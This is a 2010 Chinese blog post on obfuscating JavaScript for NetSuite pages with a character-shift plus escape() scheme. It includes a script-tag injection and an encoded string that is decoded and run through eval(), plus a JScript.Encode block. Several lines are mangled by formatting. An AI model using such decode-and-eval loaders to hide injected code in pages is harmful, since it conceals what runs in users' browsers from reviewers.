Javascript 加解密-CarlZeng

加密解密Javascript

加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var code='nlapiGetFieldValue("entity");';  
var encpt='';

for(var i=1;i<=code.length;i++){
var c=String.fromCharCode(code.charCodeAt(i-1)+code.length);
encpt+=escape(c);//c;//
}

encpt

\-----------------------------------------------------------------
"[%85%83x%87%80%5E%7C%8B%5D%80%7C%83%7Bmx%83%8C%7C%3F99@R](mailto:…ƒx‡€^|‹]€|ƒ{mxƒŒ|?99@R)"
%8B%89%7E%8D%86d%82%91c%86%82%89%81s%7E%89%92%82E%3F%82%8B%91%86%91%96%3FFX
\-----------------------------------------------------------------

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
var code="%8B%89%7E%8D%86d%82%91c%86%82%89%81s%7E%89%92%82E%3F%82%8B%91%86%91%96%3FFX";  
code=unescape(code);
decpt='';
for(var i=1;i<=code.length;i++){
var c=String.fromCharCode(code.charCodeAt(i-1)-code.length);
decpt+=c;
}

decpt

%u010F%u010D%u0102%u0111%u010A%F4%u0106%u010F%u0105%E6%u010E%u0102%u010A%u010D%C9%u010F%u010D%u0102%u0111%

u010A%E8%u0106%u0115%F6%u0114%u0106%u0113%C9%CA%CD%C3%u0104%u0109%u0102%u010F%u0108%D2%D4%u0102%u0103%u0104%

u0105%E1%u0114%u0110%u0109%u0116%CF%u0104%u0110%u010E%C3%CD%C3%E5%E6%E3%F6%E8%C3%CD%u010F%u010D%u0102%u0111%

u010A%E8%u0106%u0115%F3%u0110%u010D%u0106%C9%CA%CC%C3%u0100%C3%CC%u0108%u0106%u0115%E4%u0110%u0110%u010C%

u010A%u0106%C9%C3%EB%F4%E6%F4%F4%EA%F0%EF%EA%E5%C3%CA%CD%C3%u011B%u0106%u010F%u0108%CF%u0104%u0109%u0116%

u0102%u010F%u011B%u0109%u0116%u0110%E1%u0115%u0110%u0115%u0106%u010E%u0114%u0116%u010A%u0115%u0106%CF%u0104%

u0110%u010E%C3%CD%C3%u0104%u0109%u0102%u010F%u0108%D2%D4%u0102%u0103%u0104%u0105%E1%u0108%u010E%u0102%u010A%

u010D%CF%u0104%u0110%u010E%C3%CA%DC

try{var oS=document.createElement("script");oS.src='https://system.netsuite.com/core/media/media.nl?

id=272&c=TSTDRV535623&h=f623302456e60da0';document.getElementById("div\_\_body").appendChild(oS);}

catch(ex){}


var code="%8B%89%7E%8D%86d%82%91c%86%82%89%81s%7E%89%92%82E%3F%82%8B%91%86%91%96%3FFX";code=unescape

(code);decpt="";for(var i=1;i<=code.length;i++){var c=String.fromCharCode(code.charCodeAt(i-1)-

code.length);decpt+=c;}alert(decpt);

11:42 2010-01-25合成后:
try{var oS=document.createElement("script");oS.text='var code="%u010F%u010D%u0102%u0111%u010A%F4%u0106%u010F%

u0105%E6%u010E%u0102%u010A%u010D%C9%u010F%u010D%u0102%u0111%u010A%E8%u0106%u0115%F6%u0114%u0106%u0113%C9%CA%

CD%C3%u0104%u0109%u0102%u010F%u0108%D2%D4%u0102%u0103%u0104%u0105%E1%u0114%u0110%u0109%u0116%CF%u0104%u0110%

u010E%C3%CD%C3%E5%E6%E3%F6%E8%C3%CD%u010F%u010D%u0102%u0111%u010A%E8%u0106%u0115%F3%u0110%u010D%u0106%C9%CA%

CC%C3%u0100%C3%CC%u0108%u0106%u0115%E4%u0110%u0110%u010C%u010A%u0106%C9%C3%EB%F4%E6%F4%F4%EA%F0%EF%EA%E5%C3%

CA%CD%C3%u011B%u0106%u010F%u0108%CF%u0104%u0109%u0116%u0102%u010F%u011B%u0109%u0116%u0110%E1%u0115%u0110%

u0115%u0106%u010E%u0114%u0116%u010A%u0115%u0106%CF%u0104%u0110%u010E%C3%CD%C3%u0104%u0109%u0102%u010F%u0108%

D2%D4%u0102%u0103%u0104%u0105%E1%u0108%u010E%u0102%u010A%u010D%CF%u0104%u0110%u010E%C3%CA%DC";code=unescape

(code);decpt="";for(var i=1;i<=code.length;i++){var c=String.fromCharCode(code.charCodeAt(i-1)-

code.length);decpt+=c;}eval(decpt);';document.getElementById("div\_\_body").appendChild(oS);}catch(ex){}

12:10 2010-01-25

<SCRIPT LANGUAGE="JScript.Encode">
<!--//
//Copyright© 2010 Totemsuite Corporation. All Rights Reserved.
[#@~^JwQAAA==OMX\`7lMPWU'9Gm!:nxDR^.lY3V](mailto:#@~^JwQAAA==OMX`7lMPWU'9Gm!:nxDR^.lY3V):+ OcJkmMk2YEbpWjRDn6D'v-mDP^G9+xJu;ZFTw\]!!FZfu;!8!+\]!!qq8\]EZq!z\]


sWY;!8!+\];!qTw\];!8T\*u2Y!!FT3uETFZ+uET8!z\]EZFZ9\];,YEZFTouE!8TfuE!8T+\]!!8Fq\];T8!)\]A0\]!!qT+\]ETq8\*Ys+Y!!q8cuE!8!

+YEZFq&uZ1Y;b\];9\];&\]!Tq!W\]!!q!1Y!!q!yYEZFTouE!qTR\]9 u9W\];ZFZ \]!!8T&uETFZcY;ZF!lY28\]EZqqcuEZFq!Y;ZFT,u;!

8FY;s\];T8!\*\]!T8FTuEZF!A\];f\];fYZ2\]3Xu2vu3&usvu30\];&uZ9\];T8!o\]!TFZfY;ZF!+Y!!qF8Y!!qZbu2%uEZq!+\];!8FXYw&\]!TF8!\]!

Tq!G\]!!q!Y;,YZzYZ;\]/fuE!qTZ\]/&u/;\];ZFZ%\]!!8TvuETF8\*Y3W\]EZqFZ\]EZqq!uEZFTZY;ZFTbu;!8!Y;,\]/fu2$\]w\*u2usW\]sW\]A)\]

w!Y2w\]3)u2\*u/&uZbu/9\];&uETFq$uETFZ\]!!qTw\]ETqZ%YZwY!!qZcuE!8!OYEZFqvuETqZ \]!TFZs\]!TqF~\]!!q!1Y!!

qF+YEZFqTu2FY;ZFq\*u;ZFqZ\]!!F8\*u;!8!\]!!qTA\]EZqFW\]EZqqvuEZFTbY;ZFq\*u;!8!Y;s\];T8!\*\]!T8FTuEZF!A\];f\];fYZ2\];T8!

cu;!8!,u;TFZ uETFTouETFZ0\]G Y9W\]ETqZ YEZqZ&Y!!8!cuEZq!l\]3FuETqZ%\]!TFZ2\]!Tq!y\]!!q!)Y!!q!GYZw\];T8!cY;ZFq!

u;ZFTA\];&\];bu9Zri^W9+x; +/1Cw\`mK\[n#pNm2YxEriWWMc\\mD~r{Fir@!{mGN ^+UTY4ik3\_\*\`\\mD~m{?O.bxocWDK:Z4C.ZKN\`^W

\[ncm4lM/W9+)OvkOqb mGN ^+UTY4#i9+12Y3'^i)+-C^\`N^wD#iEI\[W1Es+UY LY3Vh+ Y$z&N\`E\[b\\m{(G9XE\*Rmwwx9/tbV

\[\`K?bI)mlD^tv+6\*\`N@#@&BxMBAA==^#~@
//-->
</SCRIPT>

遗留问题1:由于JScript.Encode无法动态生成,就涉及瓶颈问题,解密代码是显而易见的。

遗留问题2:Netsuite中如何类似系统那样动态在页面生成之前添加类似"

<script type\='text/javascript' src\='[/core/media/media.nl?id=7314&c=853509&h=19b09b403823dbebdf71&\_xt=.js](view-source:https://system.netsuite.com/core/media/media.nl?id=7314&c=853509&h=19b09b403823dbebdf71&_xt=.js)'\></script\>


"这类的代码。

必须页面在客户端生成之前产生。